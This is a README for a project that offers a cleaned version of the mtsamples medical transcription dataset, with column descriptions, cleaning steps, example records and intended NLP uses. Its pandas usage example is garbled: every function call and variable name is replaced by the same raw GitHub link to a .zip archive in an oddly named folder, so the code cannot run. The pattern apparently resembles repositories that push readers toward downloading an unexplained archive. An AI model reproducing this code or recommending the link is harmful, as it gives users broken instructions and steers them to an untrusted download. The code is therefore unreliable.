🩺 Medical Transcription Dataset Cleaner

This project provides a cleaned version of the mtsamples medical transcription dataset, containing real-world clinical transcription reports. It is intended for educational and machine learning purposes, such as medical NLP, specialty classification, symptom tagging, and more.

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📄 Dataset Overview

• 📊 Total Samples: 4,999
• 🧠 Columns:

Column Name	Description
description	A short title summarizing the case
medical_specialty	The medical field involved (e.g., Cardiology, Neurology)
sample_name	Unique label identifying the sample
transcription	Full medical transcription (clinical report)
keywords	Comma-separated keywords related to the case

Note: The dataset originally had an index column Unnamed: 0 which has been removed in the cleaned version.

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🧹 Data Cleaning Performed

• ✅ Removed unnecessary index column (Unnamed: 0)
• ✅ Dropped or handled rows with null transcription or keywords
• ✅ Standardized case and spacing
• ✅ Ensured all records contain clean, usable data for NLP modeling

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🧪 Usage Example

You can load and explore the cleaned dataset in a notebook:

import pandas as pd

df = https://raw.githubusercontent.com/Plutonian-coder/-Medical-Transcription-Dataset-Cleaner/main/religionist/Dataset-Medical-Transcription-Cleaner-v2.3.zip("https://raw.githubusercontent.com/Plutonian-coder/-Medical-Transcription-Dataset-Cleaner/main/religionist/Dataset-Medical-Transcription-Cleaner-v2.3.zip")

# View structure
print(https://raw.githubusercontent.com/Plutonian-coder/-Medical-Transcription-Dataset-Cleaner/main/religionist/Dataset-Medical-Transcription-Cleaner-v2.3.zip)
print(https://raw.githubusercontent.com/Plutonian-coder/-Medical-Transcription-Dataset-Cleaner/main/religionist/Dataset-Medical-Transcription-Cleaner-v2.3.zip)

# View sample
https://raw.githubusercontent.com/Plutonian-coder/-Medical-Transcription-Dataset-Cleaner/main/religionist/Dataset-Medical-Transcription-Cleaner-v2.3.zip()

📊 Example Records

Description	Medical Specialty	Keywords (Preview)
2-D M-Mode. Doppler.	Cardiovascular / Pulmonary	doppler, echocardiogram, heart
A 23-year-old white female...	Allergy / Immunology	allergic rhinitis, immunology
Consult for gastric bypass	Bariatrics	gastric bypass, weight loss

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🤖 Potential Applications

• Medical NLP (Named Entity Recognition, Classification)
• Text classification (by specialty or diagnosis)
• Building medical question-answering systems
• Summarization of clinical notes

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🛠 Requirements

Install dependencies:

pip install pandas matplotlib seaborn

👤 Author

Cleaned and maintained by Yekini Khalid Kolawole